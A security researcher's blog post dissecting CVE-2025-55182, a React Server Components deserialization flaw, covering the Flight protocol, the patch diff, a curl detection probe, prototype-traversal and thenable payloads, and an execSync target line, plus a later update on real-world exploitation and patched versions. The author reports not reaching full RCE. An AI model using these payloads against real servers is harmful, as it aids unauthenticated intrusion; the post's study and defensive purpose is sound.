---
title: "React2Shell: The React Server Components rabbit hole · Felipe Pontiggia"
description: "A critical vulnerability in React Server Components. Deep dive into the Flight protocol, the actual bug, and how far I got trying to build the exploit."
url: "https://www.felipepontiggia.com/blog/CVE-2025-55182"
lang: "en"
---

## The context

On November 29th, a researcher reported a critical vulnerability affecting React Server Components (and by extension Next.js) through Meta's Bug Bounty Program. On December 3rd, CVE-2025-55182 was published with a CVSS 10.0: unauthenticated RCE.

When I saw the advisory, I wanted to understand how it worked, not just read that it was critical and update. This post is the result of that rabbit hole: what the Flight protocol is, where the bug was, and how far I got trying to build the actual PoC.

## What is React Server Components?

Many of us work with this every day, but we might not know how it works under the hood. React 19 made Server Components stable: a way to run components only on the server and send the client the result. Before this, all your components ended up on the client: the server could render the initial HTML, but the JavaScript bundle still had to ship and run in the browser.

With RSC, the flow changes completely. The server can execute React code, query databases, read files, and send only the final result to the browser. The client receives a serialized format that React knows how to interpret and convert into interactive components.

The thing is, for this to work, React needs a way to serialize not just primitive data (strings, numbers), but also references to components, server functions, and promises. This is where Flight comes in.

### The Flight protocol

To communicate server ↔ client, React uses a protocol called Flight. It's the serialization format that React invented for RSC. It's not JSON, it's not Protocol Buffers, it's something custom designed specifically for this use case.

When a server component needs to send data to the client (or vice versa), it serializes it in this format. The payload travels over HTTP and the client deserializes it to reconstruct the component tree.

A Flight payload looks like this:

```
0:["$","div",null,{"children":"Hello world"}]
```

The prefixes tell React what type of data it's receiving:

-   `$`: React element
-   `$L`: Lazy reference
-   `$F`: Server function reference
-   `$@`: Promise/chunk reference

And here's the important part: references can have traversal using `:`. For example `$1:ponti:dev` means "from chunk 1, access the `ponti` property, then `dev`".

### Server Functions

Within RSC there are Server Functions: functions you define with `'use server'` that, even though you call them from the client, execute on the server:

```
'use server';

export async function createPost(formData: FormData) {
  const title = formData.get('title');
  await db.posts.create({ title });
  return { success: true };
}
```

When the user calls this function from the browser, React serializes the arguments with Flight and sends them in a POST. The server deserializes, executes the function, and returns the result.

## The vulnerability

Looking at the [diff commit](https://github.com/facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700) in the official React repo, I found that the bug existed in multiple places. One of the vulnerable areas was in how React resolved references during deserialization:

```
// Vulnerable code
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]]; // ← No validation
}
```

The core problem across all vulnerable areas: React didn't check `hasOwnProperty` when accessing object properties. This means you could access properties inherited from the prototype chain.

The fix added validation in multiple places. For example:

```
// Patched code
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
  value = value[name];
}
```

### Why does this matter?

Without that validation, an attacker can traverse the prototype chain:

```
$1:__proto__:constructor:constructor
```

This, starting from any `{}` object, gives you access to `Function` - the function constructor in JavaScript.

## The fake PoCs

As soon as the CVE dropped, several PoCs appeared on GitHub. The ones I found were all fake.

The problem: they required the server to explicitly expose dangerous modules like `vm`, `child_process`, or `fs` in the webpack manifest. No real Next.js app does this by default.

The original researcher, Lachlan Davidson, clarified it in a [blog post](https://react2shell.com/):

> We have seen a rapid trend of "Proof of Concepts" spreading which are not genuine PoCs. Anything that requires the developer to have explicitly exposed dangerous functionality to the client is not a valid PoC. \[...\] The genuine vulnerability does not have this constraint.

## Attempting the real exploit

Knowing that prototype chain traversal worked, I set up a lab with vulnerable Next.js 15.5.6. Together with Claude, I had a clear idea: control the Flight payload, traverse to invoke Function, and execute code.

I spent 90% of my time not understanding the bug but trying to find the right gadget chain. How do I go from having access to Function to executing `child_process.execSync('id')`? That's where I got stuck.

### Confirming the vulnerability

First, the detection test published by [Searchlight Cyber](https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/):

```
curl -X POST http://localhost:3000/ \
  -H "Next-Action: [action-id]" \
  -H "Content-Type: multipart/form-data; boundary=----EXPLOIT" \
  --data-binary $'------EXPLOIT\r
Content-Disposition: form-data; name="1"\r
\r
{}\r
------EXPLOIT\r
Content-Disposition: form-data; name="0"\r
\r
["$1:a:a"]\r
------EXPLOIT--\r
'
```

Response:

```
TypeError: Cannot read properties of undefined (reading 'a')
```

The server tried to do `{}.a.a` and crashed. **Confirmed vulnerable.**

### Reaching Function

Then I tested the prototype chain traversal:

```
["$1:constructor:constructor"]
```

Server response:

```
Received: [Function: Function]
Type: function
```

**I had access to `Function`**, the constructor that can create functions from strings.

### The thenable trick

Here's where it gets interesting. I found an analysis by another researcher [(Moritz Sanft)](https://x.com/stdoutput/status/1996548526466310218) showing how to invoke `Function`:

```
{"then":"$1:__proto__:constructor:constructor"}
```

When Next.js does `await` on the deserialized result, if the object has a `then` property that's a function, JavaScript treats it as a "thenable" and calls that function.

Response:

```
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)
```

`Function` was executing. The `await` was calling `then()`, which was `Function`, passing it the internal `resolve` and `reject` callbacks.

The problem: those callbacks serialize as `"function () { [native code] }"`, which isn't valid JavaScript code. Hence the `SyntaxError`.

## The wall

I got this far:

-   ✅ I can detect vulnerable servers
-   ✅ I can access `Function` via prototype traversal
-   ✅ I can make `Function` execute via thenable
-   ❌ I can't control the arguments `Function` receives

To achieve RCE I'd need `Function` to receive my code as an argument, something like:

```
Function("return process.mainModule.require('child_process').execSync('id')")();
```

But `await` always passes `resolve` and `reject`, not my strings.

At the time, Wiz (the security company) said they had a working PoC with "near 100% success rate", but they were withholding it for security reasons.

## Conclusion

I didn't get the RCE. But I understood the Flight protocol, how React's deserialization works, and why this bug is so serious. If anyone finds the complete chain, let me know. In the meantime, update your dependencies.

## Update: the real PoC is public

*Added in November 2026. This section used to say "TBC when PoC is released".*

A genuine PoC started circulating roughly 30 hours after disclosure, the same day I published this. The original researcher, Lachlan Davidson, published his own shortly after: [React2Shell-CVE-2025-55182-original-poc](https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc).

So the complete chain does exist, and the argument-control problem that stopped me was solvable all along. Reading his exploit is the clearest way to see how the last piece fits together, and [his own story of finding the bug](https://lachlan.nz/blog/the-react2shell-story/) is worth reading next to it.

### What happened next

-   **Within hours**, [AWS saw](https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/) China-nexus groups, including Earth Lamia and Jackpot Panda, trying to exploit it.
-   **December 5th**, [CISA added it to its Known Exploited Vulnerabilities catalog](https://www.cisa.gov/news-events/alerts/2025/12/05/cisa-adds-one-known-exploited-vulnerability-catalog), and real compromises started showing up. [S-RM described one](https://www.s-rminform.com/latest-thinking/react2shell-used-as-initial-access-vector-for-weaxor-ransomware-deployment) where ransomware ran "within less than one minute of initial access".
-   **Also December 5th**, a change Cloudflare made to mitigate this bug [contributed to an outage](https://blog.cloudflare.com/5-december-2025-outage/) that hit about 28% of its HTTP traffic.
-   **December 11th**, [more CVEs in the same code](https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components): source code exposure (CVE-2025-55183) and denial of service (CVE-2025-55184), whose first fix was incomplete and needed its own CVE (CVE-2025-67779).
-   **December 19th**, Vercel wrote that it had [paid out $1 million across 20 unique WAF bypass techniques](https://vercel.com/blog/our-million-dollar-hacker-challenge-for-react2shell).
-   **April 2026**, [Cisco Talos reported](https://blog.talosintelligence.com/uat-10608-inside-a-large-scale-automated-credential-harvesting-operation-targeting-web-applications/) a group still using this CVE at scale: at least 766 compromised hosts, about 91.5% of them with database credentials taken.
-   **October 14th, 2026**, [another critical unauthenticated RCE in React Server Components](https://github.com/react/react/security/advisories/GHSA-xqc2-xf4c-x3h3). React says it "only affects extremely rare cases", and [Next.js says to upgrade anyway](https://nextjs.org/blog/nextjs-security-update-october-14-2026). As far as I can tell it's a separate bug, not a bypass of the 2025 fix.

### What I'd say now

I ended the original post with "update your dependencies". That's still the answer, but it isn't the whole answer:

-   **The December 2025 fixes aren't enough anymore.** As of this update you want React 19.0.9, 19.1.10, 19.2.9 or 19.3.1, and [Next.js 16.4.5 or 15.5.29](https://nextjs.org/blog/november-2026-security-release). This will go stale too, so check the latest advisories.
-   **Patching doesn't undo a compromise.** If your app was online and unpatched, [Next.js recommends rotating your secrets](https://nextjs.org/blog/CVE-2025-66478), and [Vercel's advice](https://vercel.com/kb/bulletin/react2shell) is to "assume your vulnerable systems are potentially compromised". Old deployments count too.
-   **A WAF isn't a fix.** About hosting providers' temporary mitigations, [React's advisory](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components) says: "You should not depend on these".

Anyway, the TBC is closed.